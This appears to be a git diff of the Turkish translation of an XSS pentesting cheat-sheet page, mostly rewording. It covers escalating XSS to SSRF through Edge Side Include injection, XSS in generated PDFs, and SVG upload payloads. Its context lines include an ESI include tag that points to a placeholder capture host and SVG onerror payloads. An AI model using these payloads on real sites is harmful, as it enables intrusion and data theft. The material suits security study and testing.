||||
{{#endref}}
|
||||
|
||||
## XSS Diğer Güvenlik Açıklarını Kötüye Kullanma
|
||||
## XSS Diğer Açıkları Kötüye Kullanma
|
||||
|
||||
### Markdown'da XSS
|
||||
|
||||
@ -1534,23 +1535,23 @@ xss-in-markdown.md
|
||||
|
||||
### XSS'den SSRF'ye
|
||||
|
||||
**Önbellek kullanan bir sitede XSS elde ettiniz mi?** Bu yük ile Edge Side Include Injection aracılığıyla **bunu SSRF'ye yükseltmeyi** deneyin:
|
||||
**Önbellek kullanan** bir sitede XSS mi elde ettiniz? Bu yükle birlikte Edge Side Include Injection ile **bunu SSRF'ye yükseltmeyi** deneyin:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Kullanarak çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasını aşın!\
|
||||
Kullanarak çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasını aşabilirsiniz!\
|
||||
Bu teknik hakkında daha fazla bilgi burada: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### Dinamik oluşturulan PDF'de XSS
|
||||
|
||||
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu kandırmayı** deneyebilirsiniz ve **rastgele JS kodu çalıştırmasını** sağlayabilirsiniz.\
|
||||
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **rastgele JS kodu** **çalıştırması için kandırmayı** deneyebilirsiniz.\
|
||||
Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacak** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
Eğer HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir:
|
||||
Eğer HTML etiketlerini enjekte edemiyorsanız, **PDF verisi** enjekte etmeyi denemek faydalı olabilir:
|
||||
|
||||
{{#ref}}
|
||||
pdf-injection.md
|
||||
@ -1564,7 +1565,7 @@ AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak
|
||||
|
||||
Örnek [**Gmail'de Amp4Email'de XSS yazımı**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### Dosya yüklemede XSS (svg)
|
||||
### XSS dosya yükleme (svg)
|
||||
|
||||
Aşağıdaki gibi bir dosyayı ( [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/) ) bir resim olarak yükleyin:
|
||||
```html
|
||||
@ -1622,7 +1623,7 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Daha fazla SVG yüklemesi bulmak için **[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)**
|
||||
**Daha fazla SVG yüklemesi bulmak için** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Çeşitli JS Hileleri ve İlgili Bilgiler
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user